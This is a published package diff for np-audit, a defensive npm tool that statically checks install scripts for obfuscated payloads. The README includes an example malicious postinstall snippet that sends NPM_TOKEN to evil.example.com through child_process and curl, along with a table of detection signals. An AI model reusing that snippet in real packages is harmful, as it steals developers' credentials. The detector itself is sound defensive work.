np-audit 0.0.1-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +212 -0
- package/bin/npa.js +3 -0
- package/package.json +33 -0
- package/src/aware.js +183 -0
- package/src/cli.js +262 -0
- package/src/config.js +71 -0
- package/src/detector.js +235 -0
- package/src/fetcher.js +129 -0
- package/src/lockfile.js +107 -0
- package/src/output.js +92 -0
- package/src/scanner.js +331 -0
- package/src/tarball.js +117 -0
package/README.md
ADDED
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
# np-audit — npm package auditor
|
|
2
|
+
|
|
3
|
+
Statically detect obfuscated code in npm `preinstall`/`postinstall` scripts **before** they run. Drop-in replacement for `npm install` and `npm ci`.
|
|
4
|
+
|
|
5
|
+
**Zero dependencies.** Pure Node.js built-ins only.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## The Attack Vector
|
|
10
|
+
|
|
11
|
+
Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
|
|
12
|
+
|
|
13
|
+
```json
|
|
14
|
+
{
|
|
15
|
+
"scripts": {
|
|
16
|
+
"postinstall": "node ./dist/install.js"
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
Where `dist/install.js` contains something like:
|
|
22
|
+
|
|
23
|
+
```js
|
|
24
|
+
// Obfuscated — hard to read by design
|
|
25
|
+
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
|
|
26
|
+
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
Real-world examples include:
|
|
30
|
+
|
|
31
|
+
- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
|
|
32
|
+
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
|
|
33
|
+
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
|
|
34
|
+
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
|
|
35
|
+
- **XZ Utils (2024)** — multi-year social engineering + backdoor via build scripts (C ecosystem, but same pattern)
|
|
36
|
+
|
|
37
|
+
**`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
|
|
38
|
+
|
|
39
|
+
| Signal | Example |
|
|
40
|
+
|---|---|
|
|
41
|
+
| `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
|
|
42
|
+
| Obfuscator.io patterns | `var _0x3f2a = [...]` |
|
|
43
|
+
| High-entropy strings | Encrypted/compressed payloads |
|
|
44
|
+
| Hex escape density | `\x68\x65\x6c\x6c\x6f` |
|
|
45
|
+
| `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
|
|
46
|
+
| Base64 decode + exec | `Buffer.from(x,'base64')` + `eval` |
|
|
47
|
+
| Shell spawning | `require('child_process').exec(...)` |
|
|
48
|
+
| Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
|
|
49
|
+
| `process.env` access | Token/credential harvesting |
|
|
50
|
+
| Outbound network calls | Data exfiltration |
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## Install
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Global install (recommended for daily use)
|
|
58
|
+
npm install -g np-audit
|
|
59
|
+
|
|
60
|
+
# Or use directly with npx (no install needed)
|
|
61
|
+
npx np-audit scan
|
|
62
|
+
npx np-audit install
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
After global install, use the `npa` command:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
npa --version
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Usage
|
|
74
|
+
|
|
75
|
+
### Commands
|
|
76
|
+
|
|
77
|
+
| Command | Alias | Description |
|
|
78
|
+
|---|---|---|
|
|
79
|
+
| `npa install [package]` | `npa i [package]` | Audit then run `npm install` |
|
|
80
|
+
| `npa ci` | — | Audit then run `npm ci` |
|
|
81
|
+
| `npa scan` | `npa s` | Scan only, no install |
|
|
82
|
+
| `npa config get` | `npa c get` | Show current configuration |
|
|
83
|
+
| `npa config set <key> <value>` | `npa c set <key> <value>` | Update a config value |
|
|
84
|
+
|
|
85
|
+
### Flags
|
|
86
|
+
|
|
87
|
+
| Flag | Alias | Works with | Description |
|
|
88
|
+
|---|---|---|---|
|
|
89
|
+
| `--aware` | `-a` | `install`, `ci` | Interactive mode — choose which scripts to allow |
|
|
90
|
+
| `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
|
|
91
|
+
| `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
|
|
92
|
+
| `--verbose` | — | all | Show fetch progress and extra detail |
|
|
93
|
+
| `--version` | — | — | Print version and exit |
|
|
94
|
+
| `--help` | `-h` | — | Print help and exit |
|
|
95
|
+
|
|
96
|
+
### Drop-in replacement for `npm install`
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# Audit all dependencies, then install if clean
|
|
100
|
+
npa install # or: npa i
|
|
101
|
+
|
|
102
|
+
# Audit a specific package before adding it
|
|
103
|
+
npa i express
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
### Drop-in replacement for `npm ci`
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
npa ci
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### Scan only (no install)
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
npa scan # or: npa s
|
|
116
|
+
npa s --json # machine-readable output
|
|
117
|
+
npa s --no-dev # skip devDependencies
|
|
118
|
+
npa s --verbose # show fetch progress
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### Interactive `--aware` mode
|
|
122
|
+
|
|
123
|
+
Review each install script yourself and decide which to allow:
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
npa i --aware # or: npa i -a
|
|
127
|
+
npa ci --aware
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
```
|
|
131
|
+
npa --aware mode
|
|
132
|
+
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
|
|
133
|
+
|
|
134
|
+
Found 3 package(s) with install scripts:
|
|
135
|
+
|
|
136
|
+
[✓ allow] esbuild@0.24.2 postinstall: post-install.js OK
|
|
137
|
+
▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js BLOCK (score: 9)
|
|
138
|
+
[✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5)
|
|
139
|
+
|
|
140
|
+
2 allowed 1 denied
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
|
|
144
|
+
|
|
145
|
+
### Configuration
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Show current config
|
|
149
|
+
npa config get
|
|
150
|
+
|
|
151
|
+
# Change thresholds
|
|
152
|
+
npa config set blockScore 6 # block at score 6+ (default: 7)
|
|
153
|
+
npa config set warnScore 3 # warn at score 3+ (default: 4)
|
|
154
|
+
|
|
155
|
+
# Skip trusted packages or scopes
|
|
156
|
+
npa config set skipPackages '["esbuild","puppeteer"]'
|
|
157
|
+
npa config set skipScopes '["@types","@babel"]'
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
|
|
161
|
+
|
|
162
|
+
#### All config keys
|
|
163
|
+
|
|
164
|
+
| Key | Default | Description |
|
|
165
|
+
|---|---|---|
|
|
166
|
+
| `blockScore` | `7` | Score threshold for hard block (exit 1) |
|
|
167
|
+
| `warnScore` | `4` | Score threshold for warning (exit 0) |
|
|
168
|
+
| `registry` | `https://registry.npmjs.org` | npm registry URL |
|
|
169
|
+
| `timeout` | `30000` | HTTP request timeout (ms) |
|
|
170
|
+
| `parallelFetches` | `5` | Concurrent tarball downloads |
|
|
171
|
+
| `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
|
|
172
|
+
| `skipPackages` | `[]` | Specific package names to skip |
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Exit codes
|
|
177
|
+
|
|
178
|
+
| Code | Meaning |
|
|
179
|
+
|---|---|
|
|
180
|
+
| `0` | All packages clean or only warnings |
|
|
181
|
+
| `1` | One or more packages blocked |
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## How it works
|
|
186
|
+
|
|
187
|
+
1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
|
|
188
|
+
2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
|
|
189
|
+
3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
|
|
190
|
+
4. **Analyze** each `preinstall`/`install`/`postinstall` script file statically — never execute
|
|
191
|
+
5. **Score** findings (0–10 per signal), classify as BLOCK / WARN / OK based on config thresholds
|
|
192
|
+
6. **Report** results to terminal or `--json`
|
|
193
|
+
7. **Proceed** — run npm normally, or in `--aware` mode let you selectively allow scripts
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Development
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
git clone https://github.com/KoblerS/np-audit.git
|
|
201
|
+
cd np-audit
|
|
202
|
+
npm test # run all unit + E2E tests
|
|
203
|
+
npm link # install npa globally from source
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
No build step, no transpilation — plain Node.js ≥ 18.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## License
|
|
211
|
+
|
|
212
|
+
MIT
|
package/bin/npa.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "np-audit",
|
|
3
|
+
"version": "0.0.1-beta",
|
|
4
|
+
"description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
|
|
5
|
+
"bin": {
|
|
6
|
+
"npa": "./bin/npa.js",
|
|
7
|
+
"np-audit": "./bin/npa.js"
|
|
8
|
+
},
|
|
9
|
+
"main": "./src/cli.js",
|
|
10
|
+
"files": [
|
|
11
|
+
"bin/",
|
|
12
|
+
"src/",
|
|
13
|
+
"README.md"
|
|
14
|
+
],
|
|
15
|
+
"scripts": {
|
|
16
|
+
"test": "node test/index.js"
|
|
17
|
+
},
|
|
18
|
+
"engines": {
|
|
19
|
+
"node": ">=18.0.0"
|
|
20
|
+
},
|
|
21
|
+
"keywords": [
|
|
22
|
+
"npm",
|
|
23
|
+
"security",
|
|
24
|
+
"audit",
|
|
25
|
+
"obfuscation",
|
|
26
|
+
"supply-chain"
|
|
27
|
+
],
|
|
28
|
+
"license": "MIT",
|
|
29
|
+
"repository": {
|
|
30
|
+
"type": "git",
|
|
31
|
+
"url": "git+https://github.com/KoblerS/np-audit.git"
|
|
32
|
+
}
|
|
33
|
+
}
|
package/src/aware.js
ADDED
|
@@ -0,0 +1,183 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const readline = require('readline');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { spawnSync } = require('child_process');
|
|
6
|
+
const output = require('./output');
|
|
7
|
+
|
|
8
|
+
const KEY_UP = '\x1b[A';
|
|
9
|
+
const KEY_DOWN = '\x1b[B';
|
|
10
|
+
const KEY_SPACE = ' ';
|
|
11
|
+
const KEY_ENTER = '\r';
|
|
12
|
+
const KEY_ENTER2 = '\n';
|
|
13
|
+
const KEY_QUIT = 'q';
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Run the interactive --aware TUI.
|
|
17
|
+
* Shows packages with install scripts and lets the user toggle which to allow.
|
|
18
|
+
* After confirmation, runs npm install --ignore-scripts, then executes allowed scripts.
|
|
19
|
+
*
|
|
20
|
+
* @param {object} opts
|
|
21
|
+
* @param {ScanResult[]} opts.results packages that have install scripts
|
|
22
|
+
* @param {string} opts.command 'install' | 'ci'
|
|
23
|
+
* @param {string[]} opts.npmArgs extra args for npm command
|
|
24
|
+
* @param {string} opts.cwd
|
|
25
|
+
* @returns {Promise<number>} exit code
|
|
26
|
+
*/
|
|
27
|
+
async function runAware(opts) {
|
|
28
|
+
const { results, command, npmArgs, cwd } = opts;
|
|
29
|
+
|
|
30
|
+
if (results.length === 0) {
|
|
31
|
+
output.success('No install scripts found. Running npm without restrictions.');
|
|
32
|
+
return runNpm(command, npmArgs, cwd);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Default: allow OK scripts, deny BLOCK scripts, warn for WARN
|
|
36
|
+
const items = results.map(r => ({
|
|
37
|
+
result: r,
|
|
38
|
+
allowed: r.verdict !== 'BLOCK',
|
|
39
|
+
}));
|
|
40
|
+
|
|
41
|
+
let cursor = 0;
|
|
42
|
+
|
|
43
|
+
function render() {
|
|
44
|
+
// Move cursor to top of list — use ANSI escape to clear + redraw
|
|
45
|
+
process.stdout.write('\x1b[2J\x1b[H'); // clear screen
|
|
46
|
+
output.log('');
|
|
47
|
+
output.log(output.bold(' npa --aware mode'));
|
|
48
|
+
output.log(output.dim(' Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit'));
|
|
49
|
+
output.log('');
|
|
50
|
+
output.log(` Found ${items.length} package(s) with install scripts:\n`);
|
|
51
|
+
|
|
52
|
+
items.forEach((item, i) => {
|
|
53
|
+
const { result } = item;
|
|
54
|
+
const pkg = result.pkg;
|
|
55
|
+
const badge = output.verdictBadge(result.verdict);
|
|
56
|
+
const toggle = item.allowed ? output.green('[✓ allow]') : output.red('[✗ deny ]');
|
|
57
|
+
const cursor_ = i === cursor ? output.cyan(' ▶ ') : ' ';
|
|
58
|
+
const name = `${pkg.name}@${pkg.version}`;
|
|
59
|
+
const scripts = result.scripts.map(s => `${s.lifecycle}: ${s.file}`).join(', ');
|
|
60
|
+
output.log(` ${cursor_}${toggle} ${output.bold(name)} ${output.dim(scripts)} ${badge}`);
|
|
61
|
+
|
|
62
|
+
if (i === cursor && result.findings.length > 0) {
|
|
63
|
+
for (const f of result.findings) {
|
|
64
|
+
output.log(` ${output.dim('└ ' + f.name + ': ' + f.detail)}`);
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
output.log('');
|
|
70
|
+
const allowed = items.filter(i => i.allowed).length;
|
|
71
|
+
output.log(` ${output.green(String(allowed))} allowed ${output.red(String(items.length - allowed))} denied`);
|
|
72
|
+
output.log('');
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
await new Promise((resolve) => {
|
|
76
|
+
if (!process.stdin.isTTY) {
|
|
77
|
+
// Non-TTY fallback: just use defaults and proceed
|
|
78
|
+
resolve();
|
|
79
|
+
return;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
readline.emitKeypressEvents(process.stdin);
|
|
83
|
+
process.stdin.setRawMode(true);
|
|
84
|
+
|
|
85
|
+
render();
|
|
86
|
+
|
|
87
|
+
function onKey(str, key) {
|
|
88
|
+
if (!key) return;
|
|
89
|
+
|
|
90
|
+
if (key.name === 'up' || str === KEY_UP) {
|
|
91
|
+
cursor = (cursor - 1 + items.length) % items.length;
|
|
92
|
+
render();
|
|
93
|
+
} else if (key.name === 'down' || str === KEY_DOWN) {
|
|
94
|
+
cursor = (cursor + 1) % items.length;
|
|
95
|
+
render();
|
|
96
|
+
} else if (str === KEY_SPACE) {
|
|
97
|
+
items[cursor].allowed = !items[cursor].allowed;
|
|
98
|
+
render();
|
|
99
|
+
} else if (str === KEY_ENTER || str === KEY_ENTER2 || key.name === 'return') {
|
|
100
|
+
cleanup();
|
|
101
|
+
resolve();
|
|
102
|
+
} else if (str === KEY_QUIT || (key.ctrl && key.name === 'c')) {
|
|
103
|
+
cleanup();
|
|
104
|
+
process.stdout.write('\n');
|
|
105
|
+
process.exit(0);
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
function cleanup() {
|
|
110
|
+
process.stdin.setRawMode(false);
|
|
111
|
+
process.stdin.removeListener('keypress', onKey);
|
|
112
|
+
process.stdin.pause();
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
process.stdin.on('keypress', onKey);
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
// Clear screen after TUI exits
|
|
119
|
+
process.stdout.write('\x1b[2J\x1b[H');
|
|
120
|
+
|
|
121
|
+
const allowedItems = items.filter(i => i.allowed);
|
|
122
|
+
const deniedItems = items.filter(i => !i.allowed);
|
|
123
|
+
|
|
124
|
+
output.log('');
|
|
125
|
+
output.info(`Proceeding with ${allowedItems.length} allowed / ${deniedItems.length} denied`);
|
|
126
|
+
|
|
127
|
+
if (deniedItems.length > 0) {
|
|
128
|
+
output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
|
|
129
|
+
const code = runNpm(command, [...npmArgs, '--ignore-scripts'], cwd);
|
|
130
|
+
if (code !== 0) return code;
|
|
131
|
+
|
|
132
|
+
for (const item of allowedItems) {
|
|
133
|
+
const exitCode = runPackageScripts(item.result, cwd);
|
|
134
|
+
if (exitCode !== 0) {
|
|
135
|
+
output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
return 0;
|
|
139
|
+
} else {
|
|
140
|
+
return runNpm(command, npmArgs, cwd);
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/**
|
|
145
|
+
* Spawn npm install/ci and return the exit code.
|
|
146
|
+
*/
|
|
147
|
+
function runNpm(command, args, cwd) {
|
|
148
|
+
const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
|
|
149
|
+
const npmArgs = command === 'ci' ? ['ci', ...args] : ['install', ...args];
|
|
150
|
+
const result = spawnSync(npmCmd, npmArgs, { stdio: 'inherit', cwd });
|
|
151
|
+
return result.status || 0;
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
/**
|
|
155
|
+
* Run the install scripts for a single package from its node_modules directory.
|
|
156
|
+
*/
|
|
157
|
+
function runPackageScripts(scanResult, cwd) {
|
|
158
|
+
const pkgDir = path.join(cwd, 'node_modules', scanResult.pkg.name);
|
|
159
|
+
|
|
160
|
+
for (const scriptInfo of scanResult.scripts) {
|
|
161
|
+
if (scriptInfo.file === '(inline)') {
|
|
162
|
+
output.info(`Running inline ${scriptInfo.lifecycle} for ${scanResult.pkg.name}`);
|
|
163
|
+
const result = spawnSync(scriptInfo.code, {
|
|
164
|
+
shell: true,
|
|
165
|
+
stdio: 'inherit',
|
|
166
|
+
cwd: pkgDir,
|
|
167
|
+
});
|
|
168
|
+
if (result.status !== 0) return result.status;
|
|
169
|
+
} else {
|
|
170
|
+
const scriptPath = path.join(pkgDir, scriptInfo.file);
|
|
171
|
+
output.info(`Running ${scriptInfo.lifecycle} (${scriptInfo.file}) for ${scanResult.pkg.name}`);
|
|
172
|
+
const result = spawnSync(process.execPath, [scriptPath], {
|
|
173
|
+
stdio: 'inherit',
|
|
174
|
+
cwd: pkgDir,
|
|
175
|
+
});
|
|
176
|
+
if (result.status !== 0) return result.status;
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
return 0;
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
module.exports = { runAware, runNpm };
|
package/src/cli.js
ADDED
|
@@ -0,0 +1,262 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { scan } = require('./scanner');
|
|
4
|
+
const { runAware, runNpm } = require('./aware');
|
|
5
|
+
const { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG } = require('./config');
|
|
6
|
+
const output = require('./output');
|
|
7
|
+
|
|
8
|
+
const VERSION = require('../package.json').version;
|
|
9
|
+
const NAME = require('../package.json').name;
|
|
10
|
+
|
|
11
|
+
const HELP = `
|
|
12
|
+
npa — npm package auditor ${VERSION}
|
|
13
|
+
Statically detects obfuscated code in npm install scripts.
|
|
14
|
+
|
|
15
|
+
Usage:
|
|
16
|
+
npa install [package] Audit then run npm install (alias: i)
|
|
17
|
+
npa ci Audit then run npm ci
|
|
18
|
+
npa scan Scan only, no npm invocation (alias: s)
|
|
19
|
+
npa config get Show current configuration (alias: c)
|
|
20
|
+
npa config set <k> <v> Set a config value
|
|
21
|
+
|
|
22
|
+
Flags:
|
|
23
|
+
--aware, -a Interactive mode: choose which scripts to allow
|
|
24
|
+
--json Machine-readable JSON output
|
|
25
|
+
--no-dev Skip devDependencies
|
|
26
|
+
--verbose Show extra detail
|
|
27
|
+
--version Print version
|
|
28
|
+
--help, -h Print this help
|
|
29
|
+
|
|
30
|
+
Config keys (stored in ~/.npmauditor.json):
|
|
31
|
+
blockScore Score threshold for hard block (default: ${DEFAULT_CONFIG.blockScore})
|
|
32
|
+
warnScore Score threshold for warning (default: ${DEFAULT_CONFIG.warnScore})
|
|
33
|
+
registry npm registry URL (default: ${DEFAULT_CONFIG.registry})
|
|
34
|
+
timeout HTTP timeout in ms (default: ${DEFAULT_CONFIG.timeout})
|
|
35
|
+
parallelFetches Concurrent downloads (default: ${DEFAULT_CONFIG.parallelFetches})
|
|
36
|
+
skipScopes Array of @scopes to skip
|
|
37
|
+
skipPackages Array of package names to skip
|
|
38
|
+
|
|
39
|
+
Install:
|
|
40
|
+
npm install -g np-audit
|
|
41
|
+
npx np-audit scan
|
|
42
|
+
`;
|
|
43
|
+
|
|
44
|
+
function parseArgs(argv) {
|
|
45
|
+
const args = argv.slice(2);
|
|
46
|
+
const flags = {
|
|
47
|
+
aware: false,
|
|
48
|
+
json: false,
|
|
49
|
+
noDev: false,
|
|
50
|
+
verbose: false,
|
|
51
|
+
version: false,
|
|
52
|
+
help: false,
|
|
53
|
+
};
|
|
54
|
+
const positionals = [];
|
|
55
|
+
|
|
56
|
+
for (const arg of args) {
|
|
57
|
+
switch (arg) {
|
|
58
|
+
case '--aware':
|
|
59
|
+
case '-a': flags.aware = true; break;
|
|
60
|
+
case '--json': flags.json = true; break;
|
|
61
|
+
case '--no-dev': flags.noDev = true; break;
|
|
62
|
+
case '--verbose': flags.verbose = true; break;
|
|
63
|
+
case '--version': flags.version = true; break;
|
|
64
|
+
case '--help':
|
|
65
|
+
case '-h': flags.help = true; break;
|
|
66
|
+
default:
|
|
67
|
+
if (!arg.startsWith('-')) positionals.push(arg);
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
const command = positionals[0] || null;
|
|
72
|
+
const cmdArgs = positionals.slice(1);
|
|
73
|
+
return { command, cmdArgs, flags };
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
async function runInstall(pkgName, flags, config, cwd) {
|
|
77
|
+
output.printScanHeader();
|
|
78
|
+
|
|
79
|
+
const results = await scan({
|
|
80
|
+
cwd,
|
|
81
|
+
config,
|
|
82
|
+
noDev: flags.noDev,
|
|
83
|
+
verbose: flags.verbose,
|
|
84
|
+
singlePackage: pkgName || null,
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
if (flags.json) {
|
|
88
|
+
process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
|
|
89
|
+
} else {
|
|
90
|
+
printResults(results);
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
|
94
|
+
|
|
95
|
+
if (blocked.length > 0 && !flags.aware) {
|
|
96
|
+
output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
|
|
97
|
+
output.log(output.dim(' Run with --aware to interactively decide which scripts to allow.'));
|
|
98
|
+
process.exit(1);
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
const npmArgs = pkgName ? [pkgName] : [];
|
|
102
|
+
|
|
103
|
+
if (flags.aware) {
|
|
104
|
+
const packagesWithScripts = results.filter(r => r.verdict !== 'OK' || r.scripts.length > 0);
|
|
105
|
+
const exit = await runAware({
|
|
106
|
+
results: packagesWithScripts.length > 0 ? packagesWithScripts : results,
|
|
107
|
+
command: 'install',
|
|
108
|
+
npmArgs,
|
|
109
|
+
cwd,
|
|
110
|
+
});
|
|
111
|
+
process.exit(exit);
|
|
112
|
+
} else {
|
|
113
|
+
const exit = runNpm('install', npmArgs, cwd);
|
|
114
|
+
process.exit(exit);
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
async function runCi(flags, config, cwd) {
|
|
119
|
+
output.printScanHeader();
|
|
120
|
+
|
|
121
|
+
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
|
|
122
|
+
|
|
123
|
+
if (flags.json) {
|
|
124
|
+
process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
|
|
125
|
+
} else {
|
|
126
|
+
printResults(results);
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
|
130
|
+
|
|
131
|
+
if (blocked.length > 0 && !flags.aware) {
|
|
132
|
+
output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
|
|
133
|
+
process.exit(1);
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
if (flags.aware) {
|
|
137
|
+
const exit = await runAware({ results, command: 'ci', npmArgs: [], cwd });
|
|
138
|
+
process.exit(exit);
|
|
139
|
+
} else {
|
|
140
|
+
const exit = runNpm('ci', [], cwd);
|
|
141
|
+
process.exit(exit);
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
async function runScan(flags, config, cwd) {
|
|
146
|
+
output.printScanHeader();
|
|
147
|
+
|
|
148
|
+
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
|
|
149
|
+
|
|
150
|
+
if (flags.json) {
|
|
151
|
+
process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
|
|
152
|
+
const hasBlock = results.some(r => r.verdict === 'BLOCK');
|
|
153
|
+
process.exit(hasBlock ? 1 : 0);
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
printResults(results);
|
|
157
|
+
output.printSummary(results.map(r => ({ verdict: r.verdict })));
|
|
158
|
+
|
|
159
|
+
const hasBlock = results.some(r => r.verdict === 'BLOCK');
|
|
160
|
+
process.exit(hasBlock ? 1 : 0);
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
async function runConfig(cmdArgs, config) {
|
|
164
|
+
const subcommand = cmdArgs[0];
|
|
165
|
+
|
|
166
|
+
if (subcommand === 'get') {
|
|
167
|
+
const globalPath = getGlobalConfigPath();
|
|
168
|
+
output.log(output.bold(' Current npa configuration'));
|
|
169
|
+
output.log(output.dim(` (global: ${globalPath})`));
|
|
170
|
+
output.log('');
|
|
171
|
+
for (const [key, val] of Object.entries(config)) {
|
|
172
|
+
output.log(` ${output.cyan(key.padEnd(18))} ${JSON.stringify(val)}`);
|
|
173
|
+
}
|
|
174
|
+
output.log('');
|
|
175
|
+
return;
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
if (subcommand === 'set') {
|
|
179
|
+
const key = cmdArgs[1];
|
|
180
|
+
const value = cmdArgs[2];
|
|
181
|
+
if (!key || value === undefined) {
|
|
182
|
+
output.error('Usage: npa config set <key> <value>');
|
|
183
|
+
process.exit(1);
|
|
184
|
+
}
|
|
185
|
+
try {
|
|
186
|
+
const updated = setGlobalConfig(key, value);
|
|
187
|
+
output.success(`Set ${key} = ${JSON.stringify(updated[key])}`);
|
|
188
|
+
output.log(output.dim(` Written to ${getGlobalConfigPath()}`));
|
|
189
|
+
} catch (err) {
|
|
190
|
+
output.error(err.message);
|
|
191
|
+
process.exit(1);
|
|
192
|
+
}
|
|
193
|
+
return;
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
output.error(`Unknown config subcommand: "${subcommand}". Use "get" or "set".`);
|
|
197
|
+
process.exit(1);
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
function printResults(results) {
|
|
201
|
+
if (results.length === 0) {
|
|
202
|
+
output.success('No packages with install scripts found.');
|
|
203
|
+
return;
|
|
204
|
+
}
|
|
205
|
+
for (const r of results) {
|
|
206
|
+
output.printPackageResult(r.pkg, r);
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
function toJsonReport(results) {
|
|
211
|
+
return {
|
|
212
|
+
summary: {
|
|
213
|
+
total: results.length,
|
|
214
|
+
blocked: results.filter(r => r.verdict === 'BLOCK').length,
|
|
215
|
+
warned: results.filter(r => r.verdict === 'WARN').length,
|
|
216
|
+
ok: results.filter(r => r.verdict === 'OK').length,
|
|
217
|
+
},
|
|
218
|
+
packages: results.map(r => ({
|
|
219
|
+
name: r.pkg.name,
|
|
220
|
+
version: r.pkg.version,
|
|
221
|
+
